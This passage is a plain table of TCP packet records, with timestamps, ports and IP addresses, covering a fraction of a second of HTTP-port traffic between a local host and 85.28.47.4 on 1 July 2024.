Jul 1, 2024 07:20:36.591037989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.591063976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.591072083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.591078043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.591104984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.591110945 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.591140032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.591149092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.591173887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.591183901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.591216087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.591232061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.591267109 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.601208925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.601243973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.601278067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.601298094 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.601301908 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.601342916 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.601351976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.601387978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.601407051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.601428032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.601471901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.601506948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.601526022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.601537943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.601551056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.601572037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.601583958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.601608038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.601624966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.601646900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.601655006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.601689100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.601705074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.601723909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.601728916 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.601772070 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612139940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612193108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612193108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612229109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612238884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612265110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612268925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612308025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612317085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612350941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612369061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612397909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612405062 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612437963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612447977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612472057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612478971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612514019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612565041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612612009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612617016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612651110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612660885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612684011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612684965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612719059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612732887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612752914 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612761974 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612796068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612802982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612848997 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612854958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612899065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612904072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612936974 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.612953901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.612988949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.613010883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.613023043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.613035917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.613068104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.613075972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.613112926 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.613116980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.613152981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.613157988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.613198042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.621997118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622033119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622067928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622076988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622096062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622117043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622155905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622204065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622208118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622241974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622263908 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622273922 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622294903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622347116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622371912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622410059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622416019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622454882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622477055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622510910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622530937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622543097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622555017 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622576952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622586966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622629881 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622638941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622673035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622684002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622720957 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.622731924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.622828007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624182940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624217033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624245882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624265909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624269009 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624301910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624308109 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624336958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624351025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624377966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624392033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624439001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624440908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624475956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624486923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624525070 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624545097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624597073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624604940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624635935 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624646902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624680042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624695063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624717951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624730110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624752045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624763966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624797106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624808073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624830008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624835014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624864101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624870062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624902010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624902964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624914885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624938965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624947071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.624953985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.624982119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625001907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625022888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625030994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625065088 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625087976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625113964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625125885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625173092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625180006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625211954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625220060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625245094 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625250101 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625281096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625289917 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625314951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625320911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625344992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625355005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625379086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625385046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625413895 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625415087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625447989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625454903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625483990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625488997 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625518084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625524998 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625552893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625565052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625586987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625595093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625621080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625628948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625655890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.625665903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.625695944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.627016068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.627048016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.627074957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.627083063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.627094984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.627121925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.627132893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.627183914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.627202988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.627235889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.627249956 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.627274036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.627269030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.627317905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.627331972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.627351999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.627360106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.627399921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.683976889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684037924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684062958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.684072971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684097052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.684107065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684130907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.684159040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684159994 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.684192896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684202909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.684240103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.684245110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684292078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.684297085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684331894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684349060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.684364080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684372902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.684397936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684408903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.684437037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684453964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.684469938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684478045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.684516907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.684536934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.684597015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.694292068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.694341898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.694359064 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.694375992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.694390059 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.694415092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.694426060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.694428921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.694453955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.694463015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.694473982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.694499969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.694514990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.694538116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.704879999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.704931021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.704951048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.704962969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.704965115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705001116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705008030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705049038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705055952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705094099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705104113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705127954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705152988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705157995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705171108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705198050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705208063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705240965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705241919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705274105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705290079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705312014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705312967 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705343962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705355883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705385923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705394983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705427885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705441952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705462933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705470085 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705496073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705506086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705532074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705543041 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705564976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705576897 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705612898 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705622911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705657005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705672026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705689907 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705699921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705724955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.705737114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.705771923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715034962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715095997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715104103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715137005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715147018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715179920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715195894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715214968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715238094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715248108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715260029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715286970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715300083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715332985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715348005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715368986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715384007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715430975 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715440035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715473890 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715483904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715517044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715528011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715550900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715557098 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715584040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715601921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715620995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715640068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715670109 CEST	80	49711	85.28.47.4	192.168.2.6
